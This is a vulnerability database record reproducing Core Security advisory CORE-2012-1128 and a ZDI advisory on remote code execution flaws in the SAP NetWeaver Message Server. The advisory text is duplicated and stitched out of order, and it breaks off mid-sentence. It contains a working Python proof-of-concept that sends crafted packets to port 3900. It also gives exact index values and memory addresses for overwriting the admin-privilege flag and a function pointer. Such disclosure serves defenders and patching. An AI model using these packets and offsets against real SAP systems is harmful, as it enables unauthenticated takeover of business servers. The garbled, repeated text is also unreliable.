totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct instance associated with that client: /----- .text:004230DC loc_4230DC: ; CODE XREF: MsSLoginClient+AAAj .text:004230DC ; MsSLoginClient+B26j .text:004230DC cmp byte ptr [edi+0Eh], 0 ; privileged client? .text:004230E0 jnz short loc_4230EA ; if yes, jump .text:004230E2 mov al, byte ptr ms_admin_allowed ; otherwise, grab the value of the "ms_admin_allowed" global variable... .text:004230E7 mov [edi+0Eh], al ; ...and save it to MSADM_s.admin_allowed -----/ So if we manage to overwrite the value of the 'ms_admin_allowed' global variable with a value different than 0, then we can grant administrative privileges to our unprivileged connections. In SAP Netweaver 'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global variable is located at '0x008f17f0': /----- .data:008F17F0 ; int ms_admin_allowed .data:008F17F0 ms_admin_allowed dd ? ; DATA XREF: MsSSetMonitor+7Ew .data:008F17F0 ; MsSLoginClient+B62r -----/ And the 'j2ee_stat_services' global array, which is the array that can be indexed outside its bounds, is located at '0x0090b9e0': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be targeting '0x008F17C8' as the base address for memory corruption. Having in mind the different memory corruption primitives based on combinations of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and 'flag == 0x2' in our Message Server packet we will be able to add 1 to '[0x008F17C8+0x28]', effectively overwriting the contents of '0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed', all of our future connections will have administrative privileges within the Message Server. After gaining administrative privileges for our future connections, there are at least two possible paths of exploitation: 1. Of course it is not mandatory to have administrative privileges in order to overwrite function pointers, but considering the limitation of targetable addresses imposed by the little granularity of the memory corruption, some of the most handy-to-exploit function pointers happened to be accessible just for administrative connections. 2. Modify the configuration and behavior of the server. That includes changing Message Server's runtime parameters and enabling Monitor Mode in the affected server. 8.1.1. *Gaining remote code execution by overwriting function pointers* Having in mind that the granularity of the memory addresses that can be targeted for memory corruption is not that flexible (0x48 bytes) and the limited memory corruption primitives available, it takes some effort to find a function pointer that can be overwritten with a useful value and which can be later triggered with a network packet. One possibility is to overwrite one of the function pointers which are in charge of handling the modification of Message Server parameters: /----- .data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58] ; function pointers associated to the modification of the "ms/max_sleep" parameter .data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_sleep, \ .data:0087DED0 offset MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2" .data:0087DED0 offset MsSSetMaxSleep> ; function pointers associated to the modification of the "ms/max_vhost" parameter .data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset aMsMax_vhost, \ .data:0087DED0 offset MsSTestInteger, \ ;<-- we can overwrite this one .data:0087DED0 offset MsSSetMaxVirtHost> [...] -----/ By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target '0x0087DED8' as the base address for memory corruption. In this case we can use the memory corruption primitive at address '0x0044D3C1' that always gets executed, which will allow us to add an arbitrary number (the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]' effectively overwriting the function pointer shown above ('ms_changeable_parameter[1].set'). After that we need to send a 'MS_SET_PROPERTY' request, specifying 'ms/max_vhost' as the name of the property to be changed. This 'MS_SET_PROPERTY' packet will make our overwritten function pointer to be called from the 'MsSChangeParam' function: /----- .text:00404DB3 loc_404DB3: ; CODE XREF: MsSChangeParam+CDj .text:00404DB3 lea esi, [edi+edi*2] .text:00404DB6 mov edi, [ebp+pvalue] .text:00404DB9 add esi, esi .text:00404DBB mov edx, ms_changeable_parameter.test[esi+esi] .text:00404DC2 add esi, esi .text:00404DC4 push edi .text:00404DC5 push pname .text:00404DC6 call edx ; call our overwritten function pointer -----/ 'MS_SET_PROPERTY' packets will be ignored by the Message Server if the requesting client does not have administrative privileges, so it is necessary to gain administrative privileges as explained above before using the memory corruption vulnerability to overwrite one of the function pointers in the 'ms_changeable_parameter' global array. 8.1.2. *Modify the configuration and behavior of the server* After gaining administrative privileges for our connections, it is possible to perform 'MS_SET_PROPERTY' packets against the Message Server in order to modify its configuration and behavior. That makes possible, for example, to add virtual hosts to the load balancer, or to enable Monitor Mode [3] (transaction SMMS) on the affected server. Enabling Monitor Mode takes two steps: 1. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/monitor"', property 'value == 1'. 2. Send a 'MS_SET_PROPERTY' packet with property 'name == "ms/admin_port"', property 'value == 3535' (or any other arbitrary port number). The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x0d' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd" crash+= "\x00\x00\x00\x01" crash+= "\xff\xff\xff\xff" crash+= "\x00\x00\x00\x00" send_packet(connection, crash) print "[*] Crash sent !" -----/ 8.2. Malicious packets are processed by the vulnerable function 'WRITE_C' in the 'msg_server.exe' module. The following python code can be used to trigger the vulnerability: /----- def send_attack(connection): print "[*] Sending crash packet" crash = '**MESSAGE**\x00' # eyecatcher crash+= '\x04' # version crash+= '\x00' # errorno crash+= server_name # toname crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key crash+= '\x04\x05' # flag/iflag crash+= client_string # fromname crash+= '\x00\x00' # padd crash+= "AD-EYECATCH\x00" crash+= "\x01\x01" crash+= "%11d" % 104 crash+= "%11d" % 1 crash+= "\x15\x00\x00\x00" crash+= "\x20\x00\x00\xc8" crash+= "LALA" + ' '*(20-4) crash+= "LOLO" + ' '*(40-4) crash+= " "*36 send_packet(connection, crash) print "[*] Crash sent !" -----/ 9. *Report Timeline* . 2012-12-10: Core Security Technologies notifies the SAP team of the vulnerability, setting the estimated publication date of the advisory for January 22nd, 2013. 2012-12-10: Core sends an advisory draft with technical details and a PoC. 2012-12-11: The SAP team confirms the reception of the issue. 2012-12-21: SAP notifies that they concluded the analysis of the reported issues and confirms two out of the five vulnerabilities. Vendor also notifies that the other three reported issues were already fixed in February, 2012. Vendor also notifies that the necessary code changes are being done and extensive tests will follow. The corresponding security note and patches are planned to be released on the Security Patch Day in Feb 12th 2013. 2012-12-21: Core re-schedules the advisory publication for Feb 12th, 2013. 2012-12-28: SAP notifies Core that they will be contacted if tests fails in order to re-schedule the advisory publication. 2013-01-22: First release date missed. 2013-01-28: SAP notifies that they are still confident with releasing a security note and patches on Feb 12th as planned. 2013-01-29: Core acknowledges receiving the information and notifies that everything is ready for public disclosing on Feb 12th. Core also asks additional information regarding the patched vulnerabilities mentioned in [2012-12-21], including links to security bulletin, CVEs, and patches in order to verify if those patches effectively fix the reported flaws. 2013-02-01: SAP notifies that the patched vulnerabilities mentioned in [2012-12-21] were reported in [5] and no CVE were assigned to them. Those vulnerabilities seems to be related to ZDI advisories [6], [7], [8]. 2013-02-06: Core notifies that the patched vulnerabilities will be removed from the advisory and asks additional information regarding the affected and patched version numbers. 2013-02-01: SAP notifies that the security note 1800603 will be released and that note will provide further information regarting this vulnerability. 2013-02-13: Advisory CORE-2012-1128 published. 10. *References* [1] http://www.sap.com/platform/netweaver/index.epx. [2] SAP Security note Feb 2013 https://service.sap.com/sap/support/notes/1800603. [3] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/bdc344cc104231e10000000a421937/content.htm. [4] http://help.sap.com/saphelp_nw70ehp2/helpdata/en/47/c2e782b8fd3020e10000000a42189d/frameset.htm. [5] SAP Security notes Feb 2012 https//service.sap.com/sap/support/notes/1649840. [6] http://www.zerodayinitiative.com/advisories/ZDI-12-104/. [7] http://www.zerodayinitiative.com/advisories/ZDI-12-111/. [8] http://www.zerodayinitiative.com/advisories/ZDI-12-112/. 11. *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2012 Core Security Technologies and (c) 2012 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ZDI-12-111 : SAP Netweaver ABAP msg_server.exe Opcode 0x43 Remote Code Execution Vulnerability http://www.zerodayinitiative.com/advisories/ZDI-12-111 June 28, 2012 - -- CVE ID: - -- CVSS: 10, AV:N/AC:L/Au:N/C:C/I:C/A:C - -- Affected Vendors: SAP - -- Affected Products: SAP NetWeaver - -- TippingPoint(TM) IPS Customer Protection: TippingPoint IPS customers have been protected against this vulnerability by Digital Vaccine protection filter ID 12407. - -- Vendor Response: SAP has issued an update to correct this vulnerability. More details can be found at: http://www.sdn.sap.com/irj/sdn/index?rid=/webcontent/uuid/c05604f6-4eb3-2d1 0-eea7-ceb666083a6a#section40 - -- Disclosure Timeline: 2011-10-28 - Vulnerability reported to vendor 2012-06-28 - Coordinated public release of advisory - -- Credit: This vulnerability was discovered by: * e6af8de8b1d4b2b6d5ba2610cbf9cd38 - -- About the Zero Day Initiative (ZDI): Established by TippingPoint, The Zero Day Initiative (ZDI) represents a best-of-breed model for rewarding security researchers for responsibly disclosing discovered vulnerabilities. Researchers interested in getting paid for their security research through the ZDI can find more information and sign-up at: http://www.zerodayinitiative.com The ZDI is unique in how the acquired vulnerability information is used. Instead, upon notifying the affected product vendor, TippingPoint provides its customers with zero day protection through its intrusion prevention technology. Explicit details regarding the specifics of the vulnerability are not exposed to any parties until an official vendor patch is publicly available. Furthermore, with the altruistic aim of helping to secure a broader user base, TippingPoint provides this vulnerability information confidentially to security vendors (including competitors) who have a vulnerability protection or mitigation product. Our vulnerability disclosure policy is available online at: http://www.zerodayinitiative.com/advisories/disclosure_policy/ Follow the ZDI on Twitter: http://twitter.com/thezdi -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 10.2.0 (Build 1950) Charset: utf-8 wsBVAwUBT+yszFVtgMGTo1scAQLv/wf+MRiEiaRsMyaVgI7MTDUo9sXprBObQ6QM yIlVyGLjwEQrO9KsUMlCj/pfLkgjcHYpCNxcrB0+6ZgtphkIQhrB3w0sj/fjRyn1 Vuugvjazu8xffqujZ2ymaQHR+toaQjeKrtWvVbaTdJI6EFuUi+qT5MrZQfRWhE2X uqXdLphMXYH+SRhNtD+zJhxg4U4emVvirqNJa9YLwFE0UpxGRksKCB4Cx89o2QWE NiC9bPznAVCMOBh/R/8uROXkg1Jg9YBhEu7wzJY95Yfsl4oWpSO0cQOCF0WAWiHi TsUy3xHAjW7gMz7v/QMleok6C/7safK/7qjJRMDrGUQO1csmlZUkAg== =FVga -----END PGP SIGNATURE-----
var-202001-0832 A Buffer Overflow vulnerability exists in the Message Server service _MsJ2EE_AddStatistics() function when sending specially crafted SAP Message Server packets to remote TCP ports 36NN and/or 39NN in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04, which could let a remote malicious user execute arbitrary code. SAP NetWeaver Contains a classic buffer overflow vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code. Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions. The following products are affected: SAP Netweaver 2004s SAP Netweaver 7.01 SR1 SAP Netweaver 7.02 SP06 SAP Netweaver 7.30 SP04. The vulnerability is due to a memory pointer error while processing certain packets by the affected software. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ CORE-2012-1128 1. *Advisory Information* Title: SAP Netweaver Message Server Multiple Vulnerabilities Advisory ID: CORE-2012-1128 Advisory URL: http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities Date published: 2013-02-13 Date of last update: 2013-02-13 Vendors contacted: SAP Release mode: Coordinated release 2. *Vulnerability Information* Class: Improper Validation of Array Index [CWE-129], Buffer overflow [CWE-119] Impact: Code execution, Denial of service Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-1592, CVE-2013-1593 3. By sending different messages, the different vulnerabilities can be triggered. 4. *Vulnerable packages* . Older versions are probably affected too, but they were not checked. 5. *Non-vulnerable packages* . Vendor did not provide this information. 6. *Vendor Information, Solutions and Workarounds* SAP released the security note 1800603 [2] regarding these issues. 7. *Credits* Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and Francisco Falcon, and additional research was performed by Francisco Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by Martin Gallo from Core Security Consulting Services. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team. 8. *Technical Description / Proof of Concept Code* The following python script is the main PoC that can be used to reproduce all vulnerabilities described below: /----- import socket, struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-d", "--hostname", dest="hostname", help="Hostname", default="localhost") parser.add_option("-p", "--port", dest="port", type="int", help="Port number", default=3900) (options, args) = parser.parse_args() client_string = '-'+' '*39 server_name = '-'+' '*39 def send_packet(sock, packet): packet = struct.pack("!I", len(packet)) + packet sock.send(packet) def receive(sock): length = sock.recv(4) (length, ) = struct.unpack("!I", length) data = "" while len(data)<length: data+= sock.recv(length) return (length, data) def initialize_connection(hostname, port): # Connect print "[*] Connecting to", hostname, "port", port connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connection.connect((hostname, port)) # Send initialization packet print "[*] Conected, sending login request" init = '**MESSAGE**\x00' # eyecatcher init+= '\x04' # version init+= '\x00' # errorno init+= client_string # toname init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # msgtype/reserved/key init+= '\x01\x08' # flag / iflag (MS_LOGIN_2) init+= client_string # fromname init+= '\x00\x00' # padd send_packet(connection, init) # Receive response print "[*] Receiving login reply" (length, data) = receive(connection) # Parsing login reply server_name = data[4+64:4+64+40] return connection # Main PoC body connection = initialize_connection(options.hostname, options.port) send_attack(connection) -----/ In the following subsections, we give the python code that can be added after the script above in order to reproduce all vulnerabilities. 8.1. Malicious packets are processed by the vulnerable function '_MsJ2EE_AddStatistics' in the 'msg_server.exe' module. The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a 'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled by the attacker. This struct type is defined as follows: /----- 00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type) 00000000 senderclusterid dd ? 00000004 clusterid dd ? 00000008 serviceid dd ? 0000000C groupid dd ? 00000010 nodetype db ? 00000011 db ? ; undefined 00000012 db ? ; undefined 00000013 db ? ; undefined 00000014 totallength dd ? 00000018 currentlength dd ? 0000001C currentoffset dd ? 00000020 totalblocks db ? 00000021 currentblock db ? 00000021 00000022 db ? ; undefined 00000023 db ? ; undefined 00000024 messagetype dd ? 00000028 MSJ2EE_HEADER ends -----/ The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the 'MSJ2EE_HEADER' to calculate an index to write into the 'j2ee_stat_services' global array, without properly validating that the index is within the boundaries of the array. On the other hand, 'j2ee_stat_services' is a global array of 256 elements of type 'MSJ2EE_STAT_ELEMENT': /----- .data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256] .data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>) .data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o .data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ... -----/ This vulnerability can be used to corrupt arbitrary memory with arbitrary values, with some restrictions. The following snippet shows the vulnerable code within the '_MsJ2EE_AddStatistics' function: /----- mov edi, [ebp+pJ2eeHeader] mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker controls MSJ2EE_HEADER.serviceid xor ecx, ecx cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx lea esi, [eax+eax*8] lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index without validating array bounds -----/ Since the 'serviceid' value is first multiplied by 9 and then it is multiplied by 8, the granularity of the memory addresses that can be targeted for memory corruption is 0x48 bytes, which is the size of the 'MSJ2EE_STAT_ELEMENT' struct: /----- 00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type) 00000000 ; XREF: .data:j2ee_stat_totalr 00000000 ; .data:j2ee_stat_servicesr 00000000 totalMsgCount dq ? ; XREF: _MsJ2EE_AddStatistics+1Br 00000000 ; _MsJ2EE_AddStatistics+2Fr ... 00000008 totalMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+192r 00000008 ; _MsJ2EE_AddStatistics+19Br ... 00000010 avgMsgLength dq ? ; XREF: _MsJ2EE_AddStatistics+1C2w 00000010 ; _MsJ2EE_AddStatistics+1C7w ... 00000018 maxLength dq ? ; XREF: _MsJ2EE_AddStatistics+161r 00000018 ; _MsJ2EE_AddStatistics+16Er ... 00000020 noP2PMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D442w 00000020 ; _MsJ2EE_AddStatistics+158w ... 00000028 noP2PRequest dq ? ; XREF: _MsJ2EE_AddStatistics+144w 00000028 ; _MsJ2EE_AddStatistics+14Aw ... 00000030 noP2PReply dq ? ; XREF: _MsJ2EE_AddStatistics+132w 00000030 ; _MsJ2EE_AddStatistics+138w ... 00000038 noBroadcastMessage dq ? ; XREF: _MsJ2EE_AddStatistics:loc_44D40Dw 00000038 ; _MsJ2EE_AddStatistics+123w ... 00000040 noBroadcastRequest dq ? ; XREF: _MsJ2EE_AddStatistics+10Fw 00000040 ; _MsJ2EE_AddStatistics+115w ... 00000048 MSJ2EE_STAT_ELEMENT ends -----/ However, it is possible to use different combinations of the 'flag/iflag' values in the Message Server packet to gain more precision over the memory addresses that can be corrupted. Different combinations of 'flag/iflag' values provide different memory corruption primitives, as shown below: /----- At this point: * ESI points to an arbitrary, attacker-controlled memory address * EBX == 1 .text:0044D359 movzx eax, [ebp+msiflag] .text:0044D35D sub eax, 0Ch .text:0044D360 jz short loc_44D37C .text:0044D362 sub eax, ebx .text:0044D364 jnz short loc_44D39D .text:0044D366 cmp [ebp+msflag], 2 .text:0044D36A jnz short loc_44D374 .text:0044D36C add [esi+40h], ebx ; iflag=0xd, flag=2 => add 1 to [esi+0x40] .text:0044D36F adc [esi+44h], ecx .text:0044D372 jmp short loc_44D39D .text:0044D374 ; --------------------------------------------------------------------------- .text:0044D374 .text:0044D374 loc_44D374: ; CODE XREF: _MsJ2EE_AddStatistics+7Aj .text:0044D374 add [esi+38h], ebx ; iflag=0xd, flag=1 => add 1 to [esi+0x38] .text:0044D377 adc [esi+3Ch], ecx .text:0044D37A jmp short loc_44D39D .text:0044D37C ; --------------------------------------------------------------------------- .text:0044D37C .text:0044D37C loc_44D37C: ; CODE XREF: _MsJ2EE_AddStatistics+70j .text:0044D37C mov al, [ebp+msflag] .text:0044D37F cmp al, 3 .text:0044D381 jnz short loc_44D38B .text:0044D383 add [esi+30h], ebx ; iflag=0xc, flag=3 => add 1 to [esi+0x30] .text:0044D386 adc [esi+34h], ecx .text:0044D389 jmp short loc_44D39D .text:0044D38B ; --------------------------------------------------------------------------- .text:0044D38B .text:0044D38B loc_44D38B: ; CODE XREF: _MsJ2EE_AddStatistics+91j .text:0044D38B cmp al, 2 .text:0044D38D jnz short loc_44D397 .text:0044D38F add [esi+28h], ebx ; iflag=0xc, flag=2 => add 1 to [esi+0x28] .text:0044D392 adc [esi+2Ch], ecx .text:0044D395 jmp short loc_44D39D .text:0044D397 ; --------------------------------------------------------------------------- .text:0044D397 .text:0044D397 loc_44D397: ; CODE XREF: _MsJ2EE_AddStatistics+9Dj .text:0044D397 add [esi+20h], ebx ; iflag=0xc, flag=1 => add 1 to [esi+0x20] .text:0044D39A adc [esi+24h], ecx [...] -----/ And the following code excerpt is always executed within the '_MsJ2EE_AddStatistics' function, providing two more memory corruption primitives: /----- .text:0044D3B7 add [esi], ebx ;add 1 to [esi] .text:0044D3B9 adc dword ptr [esi+4], 0 .text:0044D3BD mov eax, [edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully controlled by the attacker .text:0044D3C0 cdq .text:0044D3C1 add [esi+8], eax ;add an arbitrary number to [esi+8] -----/ This memory corruption vulnerability can be used by remote unauthenticated attackers to execute arbitrary code on vulnerable installations of SAP Netweaver, but it can also be abused to modify the internal state of the vulnerable service in order to gain administrative privileges within the SAP Netweaver Message Server. A client connected to the Message Server may have administrative privileges or not. The Message Server holds a structure of type 'MSADM_s' for each connected client, which contains information about that very connection. Relevant parts of the 'MSADM_s' struct type are shown below: /----- 00000000 MSADM_s struc ; (sizeof=0x538, standard type) 00000000 ; XREF: .data:dummy_clientr 00000000 client_type dd ? ; enum MS_CLIENT_TYPE 00000004 stat dd ? ; enum MS_STAT 00000008 connection_ID dd ? 0000000C status db ? 0000000D dom db ? ; XREF: MsSFillCon+3Cw 0000000E admin_allowed db ? 0000000F db ? ; undefined 00000010 name dw 40 dup(?) [...] 00000534 _padding db 4 dup(?) 00000538 MSADM_s ends -----/ The 'admin_allowed' field at offset 0x0E is a boolean value that indicates whether the connected client has administrative privileges or not. When a new client connects, the 'MsSLoginClient' function of the Message Server sets the proper value for the 'admin_allowed' field in the 'MSADM_s' struct 